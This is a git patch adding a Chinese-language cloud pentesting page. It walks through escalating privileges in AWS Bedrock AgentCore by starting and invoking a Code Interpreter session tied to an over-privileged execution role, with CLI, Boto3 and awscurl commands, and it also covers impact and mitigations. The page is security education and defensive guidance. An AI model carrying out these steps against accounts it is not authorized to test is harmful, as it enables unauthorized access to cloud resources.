From b2806a42e90a077a81cbceeaaaf218d0e3dcf3e2 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 12 Feb 2026 19:53:08 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ --- .../aws-bedrock-privesc/README.md | 112 ++++++++++++++++++ 1 file changed, 112 insertions(+) create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md new file mode 100644 index 000000000..f68833fd7 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md @@ -0,0 +1,112 @@ +# AWS - Bedrock PrivEsc + +{{#include ../../../../banners/hacktricks-training.md}} + +## Amazon Bedrock AgentCore + +### `bedrock-agentcore:StartCodeInterpreterSession` + `bedrock-agentcore:InvokeCodeInterpreter` - Code Interpreter Execution-Role Pivot + +AgentCore Code Interpreter 是一个托管的执行环境。**Custom Code Interpreters** 可以配置一个 **`executionRoleArn`**，该字段“provides permissions for the code interpreter to access AWS services”。 + +如果一个 **lower-privileged IAM principal** 能够 **start + invoke** 一个配置了 **more privileged execution role** 的 Code Interpreter 会话，调用者即可有效地 **pivot into the execution role’s permissions**（视角色范围而定，可能为横向移动 / 权限提升）。 + +> [!NOTE] +> 这通常是一个 **misconfiguration / excessive permissions** 问题（将过宽的权限赋予 interpreter execution role 和/或 授予广泛的 invoke 访问）。AWS 明确警告要通过确保 execution roles 相对于被允许调用的身份具有 **equal or fewer** 权限来避免权限提升。 + +#### Preconditions (common misconfiguration) + +- 存在一个具有过多权限的 **custom code interpreter**，并绑定了一个过度权限的 **execution role**（例如：可访问敏感的 S3/Secrets/SSM 或具备类似 IAM-admin 的能力）。 +- 一个用户（developer/auditor/CI 身份）拥有以下权限： +- start sessions: `bedrock-agentcore:StartCodeInterpreterSession` +- invoke tools: `bedrock-agentcore:InvokeCodeInterpreter` +- （可选）该用户还可以创建 interpreters：`bedrock-agentcore:CreateCodeInterpreter`（允许他们根据组织的 guardrails 创建一个配置了 execution role 的新 interpreter）。 + +#### Recon (identify custom interpreters and execution role usage) + +列出 interpreters（control-plane）并检查它们的配置： +```bash +aws bedrock-agentcore-control list-code-interpreters +aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id +```` +> create-code-interpreter 命令支持 `--execution-role-arn`，用于定义解释器将具备哪些 AWS 权限。 + +#### 第 1 步 - 启动会话（这会返回一个 `sessionId`，而不是 interactive shell） +```bash +SESSION_ID=$( +aws bedrock-agentcore start-code-interpreter-session \ +--code-interpreter-identifier \ +--name "arte-oussama" \ +--query sessionId \ +--output text +) + +echo "SessionId: $SESSION_ID" +``` +#### 步骤 2 - 调用代码执行 (Boto3 or signed HTTPS) + +没有来自 `start-code-interpreter-session` 的**交互式 python shell**。执行是通过 **InvokeCodeInterpreter** 进行的。 + +**选项 A - Boto3 示例（执行 Python + 验证身份）：** +```python +import boto3 + +client = boto3.client("bedrock-agentcore", region_name="") + +# Execute python inside the Code Interpreter session +resp = client.invoke_code_interpreter( +codeInterpreterIdentifier="", +sessionId="", +name="executeCode", +arguments={ +"language": "python", +"code": "import boto3; print(boto3.client('sts').get_caller_identity())" +} +) + +# Response is streamed; print events for visibility +for event in resp.get("stream", []): +print(event) +``` +如果解释器配置了执行角色，`sts:GetCallerIdentity()` 的输出应反映该角色的身份（而不是低权限调用者），以证明 pivot。 + +**选项 B - 已签名的 HTTPS 调用 (awscurl):** +```bash +awscurl -X POST \ +"https://bedrock-agentcore..amazonaws.com/code-interpreters//tools/invoke" \ +-H "Content-Type: application/json" \ +-H "Accept: application/json" \ +-H "x-amzn-code-interpreter-session-id: " \ +--service bedrock-agentcore \ +--region \ +-d '{ +"name": "executeCode", +"arguments": { +"language": "python", +"code": "print(\"Hello from AgentCore\")" +} +}' +``` +#### 影响 + +* **横向移动**：进入 interpreter 执行角色所拥有的任何 AWS 访问权限。 +* **权限提升**：如果 interpreter 执行角色比调用者拥有更高权限。 +* 如果未为 interpreter 调用启用 CloudTrail 数据事件，则更难检测（根据配置，调用默认可能不会被记录）。 + +#### 缓解 / 加固 + +* **最小权限**：对 interpreter `executionRoleArn` 实施最小权限原则（如同对待 Lambda 执行角色 / CI 角色）。 +* **限制谁可以调用**（`bedrock-agentcore:InvokeCodeInterpreter`）以及谁可以启动会话。 +* 使用 **SCPs** 拒绝 InvokeCodeInterpreter（除经批准的 agent 运行时角色外），可能需要在组织级别强制执行。 +* 在适用情况下为 AgentCore 启用相应的 **CloudTrail 数据事件**；对意外调用和会话创建设置告警。 + +## References + +- [Sonrai: AWS AgentCore privilege escalation path (SCP mitigation)](https://sonraisecurity.com/blog/aws-agentcore-privilege-escalation-bedrock-scp-fix/) +- [Sonrai: Credential exfiltration paths in AWS code interpreters (MMDS)](https://sonraisecurity.com/blog/sandboxed-to-compromised-new-research-exposes-credential-exfiltration-paths-in-aws-code-interpreters/) +- [AWS CLI: create-code-interpreter (`--execution-role-arn`)](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore-control/create-code-interpreter.html) +- [AWS CLI: start-code-interpreter-session (returns `sessionId`)](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore/start-code-interpreter-session.html) +- [AWS Dev Guide: Code Interpreter API reference examples (Boto3 + awscurl invoke)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/code-interpreter-api-reference-examples.html) +- [AWS Dev Guide: Security credentials management (MMDS + privilege escalation warning)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html) + + +{{#include ../../../../banners/hacktricks-training.md}}